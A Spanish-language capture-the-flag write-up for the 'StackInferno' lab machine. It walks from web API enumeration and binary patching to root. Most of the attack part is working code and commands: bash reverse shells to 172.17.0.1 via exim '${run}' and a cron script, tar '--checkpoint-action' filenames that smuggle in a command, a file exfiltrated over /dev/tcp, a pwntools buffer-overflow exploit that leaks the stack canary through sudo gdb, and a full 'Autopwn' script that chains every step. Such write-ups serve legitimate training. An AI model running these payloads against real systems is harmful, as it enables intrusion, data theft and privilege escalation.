> For the complete documentation index, see [llms.txt](https://shinki-organization.gitbook.io/dw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://shinki-organization.gitbook.io/dw/write-ups/quickstart/maquinas-medio/stackinferno-write-up.md).

# StackInferno write-up

## **Verificamos conexión con la máquina víctima**

<figure><img src="/files/EAiavwMyEUISEXEJrTFc" alt=""><figcaption></figcaption></figure>

## **Escaneo de puertos abiertos y explotación de vulnerabilidades**

Utilizamos **Nmap** para escanear los puertos abiertos de la máquina víctima con el siguiente comando:

```bash
sudo nmap -p- -sCVS --min-rate=5000 -vvv -Pn -n -O 172.17.0.2
```

<figure><img src="/files/bR886mOSjTzH1HP647BU" alt=""><figcaption></figcaption></figure>

El escaneo indica que el puerto 22 (SSH) y el 80 (HTTP) está abierto. Así que ingresamos la IP de la máquina víctima en el navegador.

<figure><img src="/files/Jo4fBwTkgX09n8HXDmop" alt=""><figcaption></figcaption></figure>

Observamos que nos redirige al dominio `http://cybersec.dl/`, así que vamos a ingresar el dominio en nuestro archivo `/etc/hosts` para que apunte a la máquina víctima.

<figure><img src="/files/Cu0IK9Jr9hDiCm6I89KK" alt=""><figcaption></figcaption></figure>

Ahora ingresamos <http://cybersec.dl> en el navegador y observamos lo siguiente:

<figure><img src="/files/KbPGph6wGNG9Tci7JRZO" alt=""><figcaption></figcaption></figure>

Si intentamos investigar el código fuente presionando `Ctrl + U`, aparece un aviso diciendo que el acceso al código fuente está restringido.

<figure><img src="/files/AN1tFQtpDj2P8zux1Itz" alt=""><figcaption></figcaption></figure>

Sin embargo, si hacemos la petición con la herramienta **Curl**, se listará el código fuente.

```bash
curl http://cybersec.dl/
```

<figure><img src="/files/DmXJdisC2Qms0xWfwAEM" alt=""><figcaption></figcaption></figure>

Al examinar el código fuente de la página, se puede observar una función en JavaScript cuya finalidad es obtener dinámicamente un valor desde el endpoint `/api/1passwsecu0` para mostrarlo como ejemplo de una contraseña segura.

```javascript
function fetchPassword() {
            fetch('/api/1passwsecu0')
                .then(response => response.json())
                .then(data => {
                    const passwordContainer = document.querySelector('.cybersecurity-animation');
                    passwordContainer.textContent = ` 🔐 Protege tus datos 📁. La Ciberseguridad es Clave! --- Ejemplo de Contraseñas Seguras🔑: ${data.password} --- Consejo: Cambia tus contraseñas cada 3 meses y usa autenticación de dos factores`;
                })
                .catch(error => console.error('Error:', error));
        }
        
        function startFetchingPasswords() {
            fetchPassword();
            setInterval(fetchPassword, 2000);
        }

```

Si ingresamos <http://cybersec.dl/api/1passwsecu0> en el navegador veremos lo siguiente:

<figure><img src="/files/taMeEMK4Aum2yB0Ti4av" alt=""><figcaption></figcaption></figure>

Así que ahora vamos a usar la herramienta llamada **feroxbuster** para enumerar endpoints ocultos ejecutando el siguiente comando:

```bash
feroxbuster --url http://cybersec.dl/api/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -d 5 --rate-limit 250
```

<figure><img src="/files/rDTQ89Qu8M4gPT2ItYou" alt=""><figcaption></figcaption></figure>

Esto indica la existencia del endpoint `/interest`, así que ahora probaremos a hacer una petición con **Curl**:

```bash
curl http://cybersec.dl/api/interest
```

<figure><img src="/files/Yu0KmA2XV5fCVclkPmwZ" alt=""><figcaption></figcaption></figure>

Esto indica que el método utilizado no está permitido, por lo que probaremos varios métodos de la siguiente manera:

```bash
curl -X POST http://cybersec.dl/api/interest
```

<figure><img src="/files/ovE1mhdDoeZuV1AO0Dcw" alt=""><figcaption></figcaption></figure>

Esto indica que el método correcto para realizar la petición es **POST** y que, además, es necesario incluir el encabezado `Role` en la solicitud. Así que la haremos de la siguiente manera:

```bash
curl -X POST http://cybersec.dl/api/interest -H "Role: admin"
```

<figure><img src="/files/M1rNV3fhjpHo1W206db7" alt=""><figcaption></figcaption></figure>

Al probar con distintas opciones, descubrí que si se utiliza **administrator** como valor del encabezado `Role`, se muestra la siguiente información:

```bash
curl -X POST http://cybersec.dl/api/interest -H "Role: administrator"
```

<figure><img src="/files/qBzvRE1V9FsmwOT9qkkt" alt=""><figcaption></figcaption></figure>

Observamos que la api revela varios dominios y subdomios junto con rutas, por lo que vamos a añadirlas en nuestro archivo `/etc/hosts`.

```plaintext
cybersec.dl cybersec.dl soc_internal_operations.cybersec.dl bin.cybersec.dl mail.cybersec.dl dev.cybersec.dl cybersec.htb internal-api.cybersec.dl 0internal_down.cybersec.dl internal.cybersec.dl cybersec.htb cybersec.htb cybersec.htb
```

<figure><img src="/files/WYmFNrDyxyXIX7oAFGZe" alt=""><figcaption></figcaption></figure>

Probando con los dominios encontramos lo siguiente al ingresar `http://0internal_down.cybersec.dl` en el navegador:

<figure><img src="/files/an7o7E9XKx8ohCUAxFXr" alt=""><figcaption></figcaption></figure>

Viendo la información revelo la api, observamos que un UUID valido podría ser `f47ac10b-58cc-4372-a567-0e02b2c3d479`. Así que vamos a hacer esta vez la petición con **Curl** usando el encabezado `X-UUID-Access`.

```bash
curl http://0internal_down.cybersec.dl -H "X-UUID-Access: f47ac10b-58cc-4372-a567-0e02b2c3d479"
```

<figure><img src="/files/aE8VasXN6rTcCtYKPbHp" alt=""><figcaption></figcaption></figure>

Observamos una página donde podemos instalar el archivo `sec2pass` y `sec2pass_note.txt`, para instalarlos solo tendremos que hacer las siguiente peticiones con **Curl**.

```bash
curl http://0internal_down.cybersec.dl/download/sec2pass_note.txt -o sec2pass_note.txt
```

```bash
curl http://0internal_down.cybersec.dl/download/sec2pass -o sec2pass
```

<figure><img src="/files/vZDSO3b2BFi7ORXuC4Oe" alt=""><figcaption></figcaption></figure>

Si analizamos el archivo `sec2pass` con la herramienta `File`, observaremos que se trata de un binario ELF. Así que vamos a darle permisos de ejecución y vamos ejecutarlo.

```bash
chmod 0777 sec2pass
```

<figure><img src="/files/L9dzA3gomXpZ7lMLNFh9" alt=""><figcaption></figcaption></figure>

Contemplamos que el binario pide ingresar una contraseña, así que lo que haremos será hace ingeniera inversa sobre el binario para convertir el código máquina a código C y ver como se está ejecutando el binario. Usaremos la herramienta llamada **ghidra**. Para ello iniciamos el programa.

```bash
ghidra
```

Ahora abrimos un nuevo proyecto en **ghidra** e importamos el binario **sec2pass**. Después de importarlo hacemos clic sobre **sec2pass** dos veces y nos aparecerá lo siguiente.

<figure><img src="/files/z4aewHjpT9R8Mc9MgDzo" alt=""><figcaption></figcaption></figure>

Hacemos clic en `Yes`.

<figure><img src="/files/LOk6cdkoFt7QrZ0e3bF2" alt=""><figcaption></figcaption></figure>

Y seleccionamos la opción de `Decompiler parameter ID`. Una vez ya se haya descompilado el programa, nos aparecerá la función main en C a la izquierda de la pantalla.

Si ahora inspeccionamos el código observamos que la función main primero lo que hace es guardar varias cadenas de texto en varias variables. Después imprime la cadena `ingresa la contraseña:` y guarda lo que escribimos en una variable y verifica que la contraseña sea correcta. Después pide un código de seguridad y vuelve a verificar que sea correcto. Y si escribiste la contraseña y el código de manera correcta entonces llama a la función `k8j4h3()`. Así que lo que vamos a hacer es usar la herramienta llamada **r2** para crackear el programa y saltarnos la validación de la contraseña y del código.

```bash
r2 -w sec2pass
```

<figure><img src="/files/BRyM6QPZN8F6Ktr9gk74" alt=""><figcaption></figcaption></figure>

Una vez inicializado el programa ejecutamos `aaa` para hacer un análisis automático completo del binario.

<figure><img src="/files/T4KPHAEhquE3hs1ykzFd" alt=""><figcaption></figcaption></figure>

Ahora ejecutaremos el comando `s main` para ubicarnos en la función `main()`.

<figure><img src="/files/XOf2mjow97Tr6ymfORZB" alt=""><figcaption></figcaption></figure>

Y ahora el comando `pdf` para desensamblar e imprimir su contenido.

<figure><img src="/files/sautTjk53t94GpLw1LlL" alt=""><figcaption></figcaption></figure>

Ahora lo que queremos hacer es cambiar la linea `printf(local_818);` para que en vez de llamar a la función `printf()` llame a la función `k8j4h3()` y de está manera saltarnos la verificación.

<figure><img src="/files/hdzqbpX5MXh63qpCKhbh" alt=""><figcaption></figcaption></figure>

La dirección de memoria de la llamada a la función `printf()` en ghidra es `0x000032c2`, en **r2** es la `0x000032c2`.

<figure><img src="/files/JdsFobLUSsAkvdxmbM7C" alt=""><figcaption></figcaption></figure>

Ahora necesitamos saber la dirección de memoria de la función `k8j4h3()`, para ello ejecutaremos el comando `is~k8j4h3`.

<figure><img src="/files/Zv31DvEaCJSHTJLa0Vsz" alt=""><figcaption></figcaption></figure>

Esto revela que la dirección de memoria de la función es `0x00002969`, que ademas concuerda con la de ghidra que sería `0x00102969`. Como la instrucción **Call** funciona con desplazamientos relativos, tendremos que calcular la distancia de memoria de está manera:

```plaintext
Distancia que tiene que recorrer = 0x00002969 (Donde está la función k8j4h3(), que es donde queremos movernos) - 0x000032c2 (Donde está la función Call)= -0x95E
```

Como el desplazamiento que queremos hacer es negativo, tendremos que codificar a complemento 2 el valor `-0x95E`.

Para ello primero convertimos `-0x95E` a binario:

```plaintext
1001 0101 1110
```

Ahora para pasar a complemento 1 debemos invertir los números haciendo la operación lógica **NOT** convirtiendo los 0 en 1 y los 1 en 0.

```plaintext
0110 1010 0001
```

Para pasarlo ahora a complemento 2 solo tendríamos que sumar +1 quedando de está manera:

```plaintext
0110 1010 0010
```

Lo volvemos a pasar a hexadecimal:

```plaintext
0x6a2
```

Como las direcciones de memoria son 8 bytes y el número es negativo lo ampliaremos con el numero F, quedando de la siguiente manera.

```plaintext
0xfffff6a2
```

Y por último la pasamos a little endian:

```plaintext
0xa26fffff
```

Así que ahora nos movemos a la dirección que queremos cambiar ,`0x000032c2`, ejecutando lo siguiente:

```bash
s 0x000032c2
```

<figure><img src="/files/bfLJRJzb3kd0r9ck4aQP" alt=""><figcaption></figcaption></figure>

Y ahora escribimos los siguiente bytes en hexadecimal en memoria `e8a2f6ffff`, **e8a2f6ffff**se traduce a `Call k8j4h3()`. Para ello ejecutamos lo siguiente:

```plaintext
wx e8a2f6ffff
```

<figure><img src="/files/cug53DcKIAqGVfU5Z4jg" alt=""><figcaption></figcaption></figure>

Si ahora ejecutamos `pd 1 @ 0x000032c2` veremos que se cambio de forma correcta.

<figure><img src="/files/izkzVnmzhj1jHwzHsF0g" alt=""><figcaption></figcaption></figure>

Por lo que si ahora ejecutamos el programa veremos que funciono de forma correcta:

<figure><img src="/files/hFZDYXGIX3Gj6xiyT4HT" alt=""><figcaption></figcaption></figure>

Esto indica las credenciales `carlos:deephack009`, así que usaremos esas credenciales para iniciar sesión dentro de la máquina víctima.

## **Escalada de privilegios**

Una vez dentro de la máquina víctima como el usuario `carlos`, encontramos un archivo `/home/carlos/mbox`, el cual almacena correos electrónicos en texto plano. Al leer los correos, averiguamos que el usuario `robert`, quiere que enviemos un reporte a una empresa usando su correo, para ello debemos enviar un correo a **root\@cybersec** pidiéndole permisos e indicándole el número del caso. Por lo que ejecutaremos lo siguiente:

```bash
echo "Nombre del solicitante: carlos; Fecha:20/03/25; mensaje:Solicitud de Permisos; Breve descripcion:000-01458" | /usr/sbin/exim root@cybersec
```

Si después de un rato vemos nuestro email observaremos lo siguiente:

<figure><img src="/files/RFyruJERztThJ7vqrjQW" alt=""><figcaption></figcaption></figure>

Si ahora ejecutamos el comando `sudo -l`, contemplamos que podemos ejecutar `/usr/sbin/exim` como usuario `robert`.

<figure><img src="/files/kFUCeudwdyGeVYDjSWHe" alt=""><figcaption></figcaption></figure>

Por lo que ahora nos ponemos en escucha y ejecutaremos lo siguiente para enviar una shell como usuario `robert` al puerto 4445:

```bash
sudo -u robert /usr/sbin/exim -be '${run{/bin/bash -c "setsid bash -i >& /dev/tcp/172.17.0.1/4445 0>&1"}}'
```

<figure><img src="/files/EJ7hhE9cxnXHQWMjhHB0" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `robert`, ejecutamos el comando `ps aux`, el cual indica que el usuario `root` está ejecutando `/usr/sbin/cron`, así que vamos a ver que tareas se ejecutan de manera automática. Si vemos el contenido del archivo `/etc/crontab` observaremos lo siguiente:

<figure><img src="/files/PRgSUATsUYsJeHwuKe4g" alt=""><figcaption></figcaption></figure>

Esto indica que se está ejecutando el script `/usr/local/bin/back.sh` como el usuario `pedro`, si vemos el contenido del script contemplamos lo siguiente:

<figure><img src="/files/mOM36VE0u0j0wJBlfMJv" alt=""><figcaption></figcaption></figure>

Observamos que se crear una copia de seguridad de todo lo que está dentro de la carpeta `/home/share`, pero si creamos el script `/home/share/script.sh` con el siguiente contenido:

```bash
cat > script.sh << 'EOF'
#!/bin/bash

bash -c "bash -i >& /dev/tcp/172.17.0.1/4446 0>&1"
EOF
```

Si le damos permisos de ejecución al script y creamos los archivos dos archivos con los siguiente nombres:

```bash
chmod 0777 script.sh && touch -- "--checkpoint=1" "--checkpoint-action=exec=sh script.sh"
```

Ahora nos ponemos en escucha por el puerto 4446 y esperamos a recibir la conexión.

<figure><img src="/files/BM8tSvUKdhx3u4AKG35j" alt=""><figcaption></figcaption></figure>

Una vez somos el usuario `pedro`, encontramos archivo `/home/pedro/mbox`, el cual contiene los siguiente correos en texto plano:

<figure><img src="/files/IRg7qdw2xUQMPB1DRRaK" alt=""><figcaption></figcaption></figure>

Esto indica hay un binario vulnerable a buffer overflow y que encima cuenta con una función maliciosa, sin embargo para poder ejecutar el binario como root debemos enviar otro correo a `root@cybersec` pidiéndole permisos.

```bash
echo "Nombre del solicitante: pedro; Fecha:20/03/25; mensaje:Solicitud de Permisos; Breve descripcion:000-0923" | /usr/sbin/exim root@cybersec
```

<figure><img src="/files/1DaHoa6nPvcqxJQ45xgF" alt=""><figcaption></figcaption></figure>

Si ahora inspeccionamos que hace el comando `/usr/local/bin/secure_gdb` con cat contemplamos lo siguiente:

```bash
#!/bin/bash
# script que le otorga permisos al usuario pedro para que ejecute unica y exclusivamente el binario en su directorio
bin_path="/home/pedro/hallx"
hash="183480399567de77e64a64c571bcfe7ccc0c5f67830300ac8f9b6fa6990bfc26"

if [[ $# -ne 1 ]]; then
    echo "Error: Only one argument is allowed (the path to the binary >> $bin_path)."
    exit 1
fi

if [[ "$1" != $bin_path ]]; then
    echo "Permission denied: You can only debug the binary $bin_path"
    exit 1
fi

validator=$(sha256sum "$1" |awk '{print $1}')

if [[ "$hash" != "$validator" ]]; then
   echo "Modified binary, aborting execution"
   echo "Notifying System Administrator of Event!"
   echo "Binary modification detected $bin_path" >> /root/Events.log
   sleep 2
   echo "Notification Sent"
   exit 1
fi

/usr/bin/gdb -nx -x /root/.gdbinit "$@"
```

<figure><img src="/files/E9nVgYzqFBH3ZjIW8oGp" alt=""><figcaption></figcaption></figure>

Esto indica que podemos controlar la ejecución del programa como `root` al ejecutar **/usr/local/bin/secure\_gdb /home/pedro/hallx**. Así como sabemos que tiene una vulnerabilidad overflow vamos a llevarnos el programa a nuestra máquina y realizaremos ingeniera inversa sobre el programa. Para pasarnos el programa realizaremos lo siguiente:

**En nuestra máquina**

```bash
nc -nlvvp 4447 > hallx
```

**En la máquina víctima:**

```bash
cd ~ ; cat hallx > /dev/tcp/172.17.0.1/4447
```

Si ahora investigamos que es el archivo **hallx** con la herramienta **File** veremos lo siguiente:

```bash
file hallx
```

<figure><img src="/files/mTbcYnDFhWkLGiMLhBDc" alt=""><figcaption></figcaption></figure>

Esto indica que se trata de un binario del mismo tipo que `sec2pass`, así que ahora volveremos a usar **Ghidra** para ver como funciona el programa.

<figure><img src="/files/7QXA7drIP2Xy5aOGZUdB" alt=""><figcaption></figcaption></figure>

Lo primero que hace el programa es asignar la variable `lVar1 = *(long *)(in_FS_OFFSET + 0x28)`, esto lo que hace es guardar en una variable el valor de `in_FS_OFFSET + 0x28`, lo cual es una dirección dentro del segmento `FS` donde se guarda el **stack canary**.

### **¿Qué es el stack canary?**

El stack canary es básicamente una protección contra la vulnerabilidad de buffer overflow, básicamente es un dato que se genera de manera aleatoria con cada ejecución del programa. Esto permite guardar su valor en una variable local cada vez que se ejecuta una función, lo que quiere decir que se guarda en la pila(stack), lo que nos permite verificar si se ha explotado un buffer overflow.

<figure><img src="/files/x5kZQHO09LhVgbnXt1vG" alt=""><figcaption></figcaption></figure>

Al final de la función `main()` vemos este código que verifica que el valor de la variable local `lVar1`, donde se guardo el canary, tenga el mismo valor que el canary dentro del segmento `FS`. En caso de que tengan un valor diferente significará que se ha explotado un buffer overflow, y por lo tanto se ejecutará la función `__stack_chk_fail()`, lo que parará la ejecución del programa. Así que tendremos que tener en cuenta esto a la hora de crear un exploit del programa.

Ahora, si investigamos las diferentes funciones veremos que existe una función llamada `factor1`, la cual se encargar de ejecutar una **/bin/bash**.

<figure><img src="/files/qKVVcqoeJnRULKUaqxlE" alt=""><figcaption></figcaption></figure>

Sin embargo, está función nunca es llamada en la ejecución del programa, por lo que nuestro objetivo será redirigir la ejecución del programa a la función `factor1()` y así poder obtener una shell como usuario `root`.

Si ahora volvemos a investigar la función `main()`, observaremos que lo que se hace es ejecutar la función `factor2()`.

<figure><img src="/files/mRjiby3U4vHv0z2nxWgT" alt=""><figcaption></figcaption></figure>

Lo importante de está función es que al pedir el nombre se está permitiendo explotar la vulnerabilidad de `buffer overflow`. Esto sucede porqué la variable `local_58` se declara con 72 bytes, sin embargo, al recoger lo que ha introducido el usuario se recogen 128 bytes (`0x80`). Esto nos va a permitir sobrescribir la pila y por lo tanto la dirección de retorno (ret), así que podremos apuntar a la función `factor1()` y así obtendríamos una shell con privilegios elevados.

<figure><img src="/files/9m7dvNtcy9DQIpPiPD2I" alt=""><figcaption></figcaption></figure>

Así que haremos un exploit en Python que hará será primero escribir 72 veces una `S`, lo cual llenará el contenido de la variable `local_58`, de 72 bytes, después, arriba se encentrará la variable encargada de verificar que no se exploto un buffer overflow, **local\_10**, así que lo que haremos será guardar el valor del canary en tiempo de ejecución y lo escribiremos a continuación para no sobrescribir el valor del canary, después, estaría **rbp** el cual tiene una longitud de 8 bytes, así que escribiremos 8 `A`, y por último llegaríamos al `ret`, donde introduciremos la dirección de la función `factor1()`.

```bash
[buffer de usuario] -> 72 * "S"
[canary (8 bytes)] -> 8 bytes de valor aletorio
[rbp (8 bytes)] -> 8 * "A"
[return address (ret, 8 bytes)] -> dirección de la función factor1()
```

Después de la explicación, crearemos el exploit dentro del directorio `/tmp`, el cual tendrá el siguiente código:

```python
cat > /tmp/exploit.py << 'EOF'
import pexpect
import re
import struct
from pwn import *

def atack():

    binary = ELF("/home/pedro/hallx")
    binary_path = "/home/pedro/hallx"
    secure_gdb = "/usr/local/bin/secure_gdb"
    gdb_process = pexpect.spawn(f"sudo {secure_gdb} {binary_path}", timeout=10, maxread=10000, searchwindowsize=100)
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set disassembly-flavor intel") # configurando el formato que usara gbd para desensamblar, en este caso el formato de intel
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set pagination off") # desactivamos la paginacion de gdb y asi evitamos que nos pregunte si continuar cuando la salida es muy extensa
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set style enabled off") # desactivamos los colores en la salida de gdb, ya que esto nos impide grepear para extraer informacion
    gdb_process.expect("(gdb)")
    gdb_process.sendline("break main")
    gdb_process.expect("(gdb)")
    gdb_process.sendline("run")

    # Extraccion de la direccion de factor1
    gdb_process.expect("(gdb)")
    gdb_process.sendline("p factor1")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_factor1 = gdb_process.before.decode('utf-8')
    match = re.search(r'0x[0-9a-f]+', address_factor1)
    if match:
       address_factor1_str = match.group(0)  # Extraer la dirección en formato hexadecimal
       address_factor1_int = int(address_factor1_str, 16)
       address_factor1_le = p64(address_factor1_int) # direccion de factor1 en formato little-endian lista para el payload
       gdb_process.sendline(" ") # prepara gdb para recibir el siguiente comando!
    else:
       print("No se pudo extraer la dirección de factor1().")
       exit(1)

    # desensamble de la funcion factor2 y obtencion de una direccion de memoria para crear un punto de interrupcion y posteriormente extraer el canary
    gdb_process.expect("(gdb)")
    gdb_process.sendline("disas factor2")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_factor2 = gdb_process.before.decode('utf-8')
    lines = address_factor2.splitlines()
    memory_addresses = [line.split()[0] for line in lines if '<+' in line]
    if len(memory_addresses) >= 7:
       seventh_memory_address = memory_addresses[6]
       gdb_process.sendline(" ")
       gdb_process.expect("(gdb)")
       gdb_process.sendline(f"break *{seventh_memory_address}")
       gdb_process.expect("(gdb)")
       gdb_process.sendline("continue")
    else:
       print("No hay suficientes direcciones de memoria en la salida")

    # extraccion del canary
    gdb_process.expect("(gdb)")
    gdb_process.sendline("x/1gx $rbp-0x8")
    gdb_process.expect_exact("(gdb)", timeout=10)
    output_canary = gdb_process.before.decode('utf-8')
    canary_value = output_canary.split(':')[1].strip().split()[0]
    output_canary_int = int(canary_value, 16)
    output_canary_le = struct.pack('<Q', output_canary_int) # canary listo en formato little-endian para el payload
    gdb_process.sendline(" ")
    gdb_process.expect("(gdb)")
    
	# Creación de otro punto de interrupción para comprobar la inyeccion del payload
    gdb_process.sendline("disas factor2")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_breakpoint = gdb_process.before.decode('utf-8')
    lines = address_breakpoint.splitlines()
    memory_addresses_breakpoint = [line.split()[0] for line in lines if '<+' in line]
    if len(memory_addresses_breakpoint) >= 20:
       memory_address_bp = memory_addresses_breakpoint[19]
       gdb_process.sendline(" ")
       gdb_process.expect("(gdb)")
       gdb_process.sendline(f"break *{memory_address_bp}")
       gdb_process.expect("(gdb)")
       gdb_process.sendline("continue")
    else:
       print("No hay suficientes direcciones de memoria en la salida")

    # construccion del payload
    buffer_size = 72 # offset before overwriting the canary
    buffer_fil = b'S' *buffer_size
    padding = b'A' *8 # padding to align the stack
    #rip = b'P' *8

    payload = flat(
    buffer_fil,
    output_canary_le,
    padding,
    address_factor1_le
    )
    # envio del payload
    gdb_process.expect("Introduce tu nombre: ")
    gdb_process.sendline(payload)
    gdb_process.interact()
    gdb_process.send(b"quit")
    gdb_process.close()

if __name__ == '__main__':
    atack() 
EOF
```

Por lo que a continuación pedimos permisos para ejecutar **gdb** como usuario **root**.

```bash
echo "Nombre del solicitante: pedro; Fecha:20/03/25; mensaje:Solicitud de Permisos; Breve descripcion:000-0923" | /usr/sbin/exim root@cybersec
```

Y ejecutamos el exploit.

```bash
python3 exploit.py
```

<figure><img src="/files/tOqJZhehOL4n8BiBBT2R" alt=""><figcaption></figcaption></figure>

Ahora mismo estaríamos en la tercera interrupción, por lo que si ejecutamos lo siguiente:

```bash
x/40gx $rsp
```

<figure><img src="/files/7sFkA7ck1Sdkhk2hkiJl" alt=""><figcaption></figcaption></figure>

Podemos ver que el paylod si ingreso de manera correcta ya que observamos las 72 "S" (0x53) en azul, el canary sería lo que se encuentra en blanco, las 8 "A" sería lo que está en verde y en rojo está la dirección de la función `factor1`; por lo que si ejecutamos `continue` dos veces obtendremos una shell como usuario **root**.

<figure><img src="/files/sTpVnMMVr8qr7gxRBq1n" alt=""><figcaption></figcaption></figure>

## **Autopwn**

```python
import os
import time
import subprocess

def crear_script_expect():

    print("[+] Creando script.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 2
sleep 5
spawn zsh
expect "└─$ "
send "ssh carlos@172.17.0.2\r"

sleep 1

expect "password: "
send "deephack009\r"

sleep 1

expect "$ "
send {cat > /home/share/script.sh << 'EOF'
#!/bin/bash

bash -c "bash -i >& /dev/tcp/172.17.0.1/4446 0>&1"
EOF}

sleep 1

expect "$ "
send "\r"

sleep 1

expect "$ "
send {chmod 0777 /home/share/script.sh && touch -- "/home/share/--checkpoint=1" "/home/share/--checkpoint-action=exec=sh script.sh"}

sleep 1

expect "$ "
send "\r"

interact
"""

    with open("script1.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script1.exp")

def iniciar_escucha():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script1.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])



def crear_script_expect2():

    print("[+] Creando script2.exp...")
    
    contenido = """#!/usr/bin/expect
set timeout 2
sleep 5
spawn zsh
expect "└─$ "
send "nc -lvvp 4446\r"

set timeout 120

expect "$ "
send "script /dev/null -c bash\r"

expect "$ "
send {echo "Nombre del solicitante: pedro; Fecha:20/03/25; mensaje:Solicitud de Permisos; Breve descripcion:000-0923" | /usr/sbin/exim root@cybersec}

set timeout 2

expect "$ "
send "\r"

set timeout 20

expect "$ "
send {cat > /tmp/exploit.py << 'EOF'
import pexpect
import re
import struct
from pwn import *

def atack():

    binary = ELF("/home/pedro/hallx")
    binary_path = "/home/pedro/hallx"
    secure_gdb = "/usr/local/bin/secure_gdb"
    gdb_process = pexpect.spawn(f"sudo {secure_gdb} {binary_path}", timeout=10, maxread=10000, searchwindowsize=100)
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set disassembly-flavor intel") # configurando el formato que usara gbd para desensamblar, en este caso el formato de intel
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set pagination off") # desactivamos la paginacion de gdb y asi evitamos que nos pregunte si continuar cuando la salida es muy extensa
    gdb_process.expect("(gdb)")
    gdb_process.sendline("set style enabled off") # desactivamos los colores en la salida de gdb, ya que esto nos impide grepear para extraer informacion
    gdb_process.expect("(gdb)")
    gdb_process.sendline("break main")
    gdb_process.expect("(gdb)")
    gdb_process.sendline("run")

    # Extraccion de la direccion de factor1
    gdb_process.expect("(gdb)")
    gdb_process.sendline("p factor1")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_factor1 = gdb_process.before.decode('utf-8')
    match = re.search(r'0x[0-9a-f]+', address_factor1)
    if match:
       address_factor1_str = match.group(0)  # Extraer la dirección en formato hexadecimal
       address_factor1_int = int(address_factor1_str, 16)
       address_factor1_le = p64(address_factor1_int) # direccion de factor1 en formato little-endian lista para el payload
       gdb_process.sendline(" ") # prepara gdb para recibir el siguiente comando!
    else:
       print("No se pudo extraer la dirección de factor1().")
       exit(1)

    # desensamble de la funcion factor2 y obtencion de una direccion de memoria para crear un punto de interrupcion y posteriormente extraer el canary
    gdb_process.expect("(gdb)")
    gdb_process.sendline("disas factor2")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_factor2 = gdb_process.before.decode('utf-8')
    lines = address_factor2.splitlines()
    memory_addresses = [line.split()[0] for line in lines if '<+' in line]
    if len(memory_addresses) >= 7:
       seventh_memory_address = memory_addresses[6]
       gdb_process.sendline(" ")
       gdb_process.expect("(gdb)")
       gdb_process.sendline(f"break *{seventh_memory_address}")
       gdb_process.expect("(gdb)")
       gdb_process.sendline("continue")
    else:
       print("No hay suficientes direcciones de memoria en la salida")

    # extraccion del canary
    gdb_process.expect("(gdb)")
    gdb_process.sendline("x/1gx $rbp-0x8")
    gdb_process.expect_exact("(gdb)", timeout=10)
    output_canary = gdb_process.before.decode('utf-8')
    canary_value = output_canary.split(':')[1].strip().split()[0]
    output_canary_int = int(canary_value, 16)
    output_canary_le = struct.pack('<Q', output_canary_int) # canary listo en formato little-endian para el payload
    gdb_process.sendline(" ")
    gdb_process.expect("(gdb)")
    
	# Creación de otro punto de interrupción para comprobar la inyeccion del payload
    gdb_process.sendline("disas factor2")
    gdb_process.expect_exact("(gdb)", timeout=10)
    address_breakpoint = gdb_process.before.decode('utf-8')
    lines = address_breakpoint.splitlines()
    memory_addresses_breakpoint = [line.split()[0] for line in lines if '<+' in line]
    if len(memory_addresses_breakpoint) >= 20:
       memory_address_bp = memory_addresses_breakpoint[19]
       gdb_process.sendline(" ")
       gdb_process.expect("(gdb)")
       gdb_process.sendline(f"break *{memory_address_bp}")
       gdb_process.expect("(gdb)")
       gdb_process.sendline("continue")
    else:
       print("No hay suficientes direcciones de memoria en la salida")

    # construccion del payload
    buffer_size = 72 # offset before overwriting the canary
    buffer_fil = b'S' *buffer_size
    padding = b'A' *8 # padding to align the stack
    #rip = b'P' *8

    payload = flat(
    buffer_fil,
    output_canary_le,
    padding,
    address_factor1_le
    )
    # envio del payload
    gdb_process.expect("Introduce tu nombre: ")
    gdb_process.sendline(payload)
    gdb_process.interact()
    gdb_process.send(b"quit")
    gdb_process.close()

if __name__ == '__main__':
    atack()
EOF}

expect "$ "
send "\r"

expect "$ "
send "chmod 0777 /tmp/exploit.py\r"

set timeout 10

expect "$ "
send "python3 /tmp/exploit.py\r"

expect "$ "
send "continue\r"

expect "$ "
send "continue\r"

expect "$ "
send "bash -i >& /dev/tcp/172.17.0.1/4444 0>&1\r"

interact
"""

    with open("script2.exp", "w") as f:
        f.write(contenido)
    print("[+] Archivo script.exp creado correctamente.")
    os.system("chmod 0777 script2.exp")

def iniciar_escucha2():

    print(f"[+] Iniciando script...")
    listener = subprocess.Popen(["gnome-terminal", "--", "./script2.exp"])

    time.sleep(1)

    win_id = subprocess.check_output(["xdotool", "search", "--class", "gnome-terminal"]).splitlines()[-1]
    subprocess.run(["xdotool", "windowminimize", win_id])

def main():

    crear_script_expect()

    time.sleep(1)

    iniciar_escucha()

    time.sleep(1)

    crear_script_expect2()

    time.sleep(1)

    iniciar_escucha2()

    time.sleep(1)

    os.system("nc -nlvvp 4444")

    os.system("rm script1.exp script2.exp")

if __name__ ==  "__main__":
    main()    
```
